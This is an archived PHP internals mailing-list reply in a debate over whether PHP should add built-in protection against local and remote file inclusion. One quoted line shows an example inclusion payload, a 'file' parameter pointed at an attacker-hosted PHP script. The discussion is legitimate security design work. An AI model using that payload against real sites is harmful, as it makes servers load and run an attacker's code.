Newsgroups: php.internals
Path: news.php.net
Xref: news.php.net php.internals:59751
Mailing-List: contact internals-help@lists.php.net; run by ezmlm
Received-SPF: pass (pb1.pair.com: domain gmail.com designates 209.85.161.170 as permitted sender)
MIME-Version: 1.0
Sender: yohgaki@gmail.com
In-Reply-To: <CALKFbxs5irYW1Sdus4b=XBvbKqfsMkJbEd14RmXC7tFv7rg-fw@mail.gmail.com>
References: <CAGa2bXZ6G=Cphjrde3u1Mq3AAw-4yJk3s28vNe+Aybt2nGTumg@mail.gmail.com>
 <CAGa2bXZh4uMeUH_BSCFmfNgxS-SZC0svA9BPcSROjwmbfrtFyQ@mail.gmail.com>
 <CAGa2bXbhi4zdgd9Udo6KsoycDwg_Ke0Xe5h3_-fVDMvn_VfAjQ@mail.gmail.com>
 <A633CF2D7C7BED41B41F1E64F25507B806A5CDD6C2@MAILR001.mail.lan>
 <CAGa2bXZKfQ+HqOucwOnBH7gV84hpdxZb5qNY3t3ThF_zMKSGHw@mail.gmail.com>
 <4F850D06.10701@sugarcrm.com> <CAGa2bXZWrRh8RdMtKK_2_U_XmByC-O6hGRPrJyW5KwvE0CAK-w@mail.gmail.com>
 <4F8515AF.8060706@sugarcrm.com> <CAGa2bXZWudQeRm5h2eENGmgQDPfOqEmijB9-vPAvfKXLCfDiLw@mail.gmail.com>
 <4F851FE4.7000706@sugarcrm.com> <CAGa2bXbXdNcfHX_dM2EVVz_2JtS4cc+8pxneSLAd382TuQUg-w@mail.gmail.com>
 <4F8539E0.1090701@sugarcrm.com> <4F859063.1010401@lerdorf.com>
 <A633CF2D7C7BED41B41F1E64F25507B806A5CDD71A@MAILR001.mail.lan>
 <CAKOpQSz1=AFfWcO=F0Ot_2Jm8audczE2a1DnGV-vxhp=80ZcUQ@mail.gmail.com> <CALKFbxs5irYW1Sdus4b=XBvbKqfsMkJbEd14RmXC7tFv7rg-fw@mail.gmail.com>
Date: Thu, 12 Apr 2012 05:48:55 +0900
Message-ID: <CAGa2bXb=RbjPaL=SeUv6vDv_Cvc0O5f_noNdZwue3gFcgnajAA@mail.gmail.com>
To: Chris Stockton <chrisstocktonaz@gmail.com>
Cc: Kris Craig <kris.craig@gmail.com>, John Crenshaw <johncrenshaw@priacta.com>, 
	Rasmus Lerdorf <rasmus@lerdorf.com>, Stas Malyshev <smalyshev@sugarcrm.com>, 
	"internals@lists.php.net" <internals@lists.php.net>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Subject: Re: [PHP-DEV] Re: Disabling PHP tags by php.ini and CLI options
From: yohgaki@ohgaki.net (Yasuo Ohgaki)

Hi,

2012/4/12 Chris Stockton <chrisstocktonaz@gmail.com>:
> Hello,
>
> On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig <kris.craig@gmail.com> wrote=
:
>> I can't help but question whether we should even be worrying about LFI/R=
FI
>> to begin with. =A0Personally, I would *never* check-off on code that in =
any
>> way used $_GET or $_POST directly in an include/require statement! =A0It=
's
>> just plain lazy. =A0There's just no excuse for doing that. =A0Use some s=
ort of
>> dispatch or translation table. =A0Sure, it might seem less "magical," bu=
t
>> it'll also protect you from some asshole hitting you with something like=
,
>> "?file=3Dhttp://hacksite.com/injectedcode.php?". =A0The individual code
>> developer has to take *some* responsibility for their code. =A0If this i=
s
>> such a problem, I would think the solution would be to update our docs t=
o
>> better warn people about this type of attack and educate them on how not=
 to
>> write code that's vulnerable to it.
>>
>> We can make the language secure; but, in the end, a language is only as
>> smart as the person using it.
>>
>
>
> I really have a hard time understanding how this is even being
> discussed, there is no real problem here. Making sure user input is
> validated is a core concept of application development. How on earth
> can you say "if you don't validate the users input, it's a security
> problem, so php must fix it", it's the most ridiculousness argument I
> have read on here in ages.

It is the same as saying that canary protection for stack smashing
or ASLR is useless if programmer write correct code.

Don't you appreciate that compilers/OSes have additional mitigation
factor, do you? Or would you like to disable all of these mitigation
features from your compilers/OSes? I guess not.

C language is prone to be weak for buffer overflows, hence it is
weak to code execution and/or massive information disclosure.
(Like private key disclosure demonstrated by MoPB)

Embedded language is prone to be weak for LFI. It also leads
to code execution and/or massive information disclosure.

These weaknesses are the nature of how languages are made.
PHP is pure embedded language and there are people trying to
change it. If we are going to change that, it is reasonable to
change PHP so that LFI weakness will be closed.

Not closing LFI issue is sound like "We have created Java language
which is free from memory management, but stack smashing and
various overflow issues still remains."

>
> _IF_ you absolutely must accept arbitrary user urls from users, which
> we all have to do at some point, you use socket functions, file
> functions, HTTP extension, whatever you want. If you are using INCLUDE
> you are using the WRONG TOOL. You are WRONG.

Decent programmers knew the most important mitigation factor
is input control. It is top listed as monster mitigation in SANS CWE
TOP 25 also. I guess nobody would argue that here.

>
> _IF_ you are needing to display downloaded user data onto a page, a
> image for example, you need to use file functions, fpassthru,
> something of the source. If you are using INCLUDE to do this, you are
> using the WRONG TOOL. You are WRONG.
>
> _IF_ you for some reason must accept LOCAL PATHS from a user, and you
> do not want to pass that input through a validation layer, you are
> WRONG.
>
> It boils down to you either use the right tools and the right
> validation methods or I promise this is only one of unlimited possible
> security concerns Yasuo.

We are discussing PHP being stronger against LFI, if we
are going to adopt non-ebmed mode for PHP.

PHP  is good language for novice. Do we want them to learn
details of LFI which is described in my RFC? How dangerous it is,
how it could be exploited, etc. I believe it's just not worth it if we
made PHP could work in non-embedded mode.

By the way, how many people knew all the exploitation methods that
I've written in the RFC? It's a real risk, but I guess many of us
don't even think about or care. How we could expect novice or
even average PHP programmer care about these risks?

It's better that close window as much as possible where it is
applicable.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net